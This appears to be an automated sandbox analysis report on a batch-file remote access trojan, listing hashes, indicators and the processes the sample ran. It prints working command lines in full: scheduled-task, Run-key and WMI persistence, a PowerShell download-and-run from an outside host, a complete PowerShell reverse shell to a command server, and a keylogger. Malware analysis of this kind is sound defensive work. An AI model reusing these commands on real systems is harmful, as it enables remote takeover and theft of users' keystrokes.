Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:19
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_87216_014258.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_87216_014258.bat
Resource
win11-20260513-en
General
- Target rat_build_87216_014258.bat
- Size 4KB
- Sample260529-18ldbacv2j
- SHA256 3cf4460c0746310d8b3b25d7a54a6711ba83c7b39a8895076917ba8a1d656860
- MD5 e7f96ea84aa9c4c6d6e05c4e75d107ee
- SHA1 7e2164125fc4f0785e6d4ab1cf32e1734740e9ab
- SHA512 12201f8a8c96a6cfc2037b7444937142a5cf324d268da83fbd0da8031444a88673223166f8978711926f677c8a6b02f5db8cea1dbc9e33f74edf73862c2d43d9
- SSDEEP 96:RIZ4Wv0wwnS1ERfV9JfHdq+rJdBzddGneJcgvEXKiFgZk8mvlo1sxF:Rcv0sERnvdrJdhXvc2iFgkHlfxF
- TLSH T18FA1292767A7A22088B1660DDD32388853ADD7F71304C9CDEB89CDC5194DB47912A6F7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_87216.ps1
Signatures
-
pid Process 3964 powershell.exe 1480 powershell.exe 580 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_87216 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_87216.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3452 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4948 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4892 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3252 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3964 powershell.exe 3964 powershell.exe 1480 powershell.exe 1480 powershell.exe 580 powershell.exe 580 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3240 WMIC.exe Token: SeSecurityPrivilege 3240 WMIC.exe Token: SeTakeOwnershipPrivilege 3240 WMIC.exe Token: SeLoadDriverPrivilege 3240 WMIC.exe Token: SeSystemProfilePrivilege 3240 WMIC.exe Token: SeSystemtimePrivilege 3240 WMIC.exe Token: SeProfSingleProcessPrivilege 3240 WMIC.exe Token: SeIncBasePriorityPrivilege 3240 WMIC.exe Token: SeCreatePagefilePrivilege 3240 WMIC.exe Token: SeBackupPrivilege 3240 WMIC.exe Token: SeRestorePrivilege 3240 WMIC.exe Token: SeShutdownPrivilege 3240 WMIC.exe Token: SeDebugPrivilege 3240 WMIC.exe Token: SeSystemEnvironmentPrivilege 3240 WMIC.exe Token: SeRemoteShutdownPrivilege 3240 WMIC.exe Token: SeUndockPrivilege 3240 WMIC.exe Token: SeManageVolumePrivilege 3240 WMIC.exe Token: 33 3240 WMIC.exe Token: 34 3240 WMIC.exe Token: 35 3240 WMIC.exe Token: 36 3240 WMIC.exe Token: SeIncreaseQuotaPrivilege 3240 WMIC.exe Token: SeSecurityPrivilege 3240 WMIC.exe Token: SeTakeOwnershipPrivilege 3240 WMIC.exe Token: SeLoadDriverPrivilege 3240 WMIC.exe Token: SeSystemProfilePrivilege 3240 WMIC.exe Token: SeSystemtimePrivilege 3240 WMIC.exe Token: SeProfSingleProcessPrivilege 3240 WMIC.exe Token: SeIncBasePriorityPrivilege 3240 WMIC.exe Token: SeCreatePagefilePrivilege 3240 WMIC.exe Token: SeBackupPrivilege 3240 WMIC.exe Token: SeRestorePrivilege 3240 WMIC.exe Token: SeShutdownPrivilege 3240 WMIC.exe Token: SeDebugPrivilege 3240 WMIC.exe Token: SeSystemEnvironmentPrivilege 3240 WMIC.exe Token: SeRemoteShutdownPrivilege 3240 WMIC.exe Token: SeUndockPrivilege 3240 WMIC.exe Token: SeManageVolumePrivilege 3240 WMIC.exe Token: 33 3240 WMIC.exe Token: 34 3240 WMIC.exe Token: 35 3240 WMIC.exe Token: 36 3240 WMIC.exe Token: SeIncreaseQuotaPrivilege 2396 WMIC.exe Token: SeSecurityPrivilege 2396 WMIC.exe Token: SeTakeOwnershipPrivilege 2396 WMIC.exe Token: SeLoadDriverPrivilege 2396 WMIC.exe Token: SeSystemProfilePrivilege 2396 WMIC.exe Token: SeSystemtimePrivilege 2396 WMIC.exe Token: SeProfSingleProcessPrivilege 2396 WMIC.exe Token: SeIncBasePriorityPrivilege 2396 WMIC.exe Token: SeCreatePagefilePrivilege 2396 WMIC.exe Token: SeBackupPrivilege 2396 WMIC.exe Token: SeRestorePrivilege 2396 WMIC.exe Token: SeShutdownPrivilege 2396 WMIC.exe Token: SeDebugPrivilege 2396 WMIC.exe Token: SeSystemEnvironmentPrivilege 2396 WMIC.exe Token: SeRemoteShutdownPrivilege 2396 WMIC.exe Token: SeUndockPrivilege 2396 WMIC.exe Token: SeManageVolumePrivilege 2396 WMIC.exe Token: 33 2396 WMIC.exe Token: 34 2396 WMIC.exe Token: 35 2396 WMIC.exe Token: 36 2396 WMIC.exe Token: SeIncreaseQuotaPrivilege 2396 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2152 wrote to memory of 3252 2152 cmd.exe 84 PID 2152 wrote to memory of 4892 2152 cmd.exe 85 PID 2152 wrote to memory of 3240 2152 cmd.exe 86 PID 2152 wrote to memory of 2396 2152 cmd.exe 87 PID 2152 wrote to memory of 4608 2152 cmd.exe 88 PID 2152 wrote to memory of 4948 2152 cmd.exe 89 PID 2152 wrote to memory of 3452 2152 cmd.exe 93 PID 2152 wrote to memory of 3964 2152 cmd.exe 94 PID 2152 wrote to memory of 1480 2152 cmd.exe 97 PID 2152 wrote to memory of 580 2152 cmd.exe 98 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_87216_014258.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_87216" /tr "C:\Users\Admin\AppData\Local\Temp\_87216.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3252
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-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_87216" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_87216.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4892
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-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_87216", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3240
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_87216", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_87216.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2396
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_87216.txt2⤵PID:4608
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:4948
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3452
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_87216.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3964
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1480
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:580
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c9783624f87859619dbbb6c2b650f2c6cbbcb76b8ec6fcdfd08377fcf27a186d
- MD5 b183fce9c378bc0d120aa8a6c08891ab
- SHA1 44c8f27be945883068dd191da3cc0678b3e240ec
- SHA512 8928dbd233d64aa0c3ff46937e811bed0c1705b6d38b641e75d37ad68498ad733ece0a743de38aaa63504b503f667ede569460e31b6b84bc3684d0b7823880c9
- TLSH T1B6117A33B79CC1B5C8D9127A1089AD01B2B6C3CB049EDECB7A84C518E57F5CADB641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xvzjrrhr.ijo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH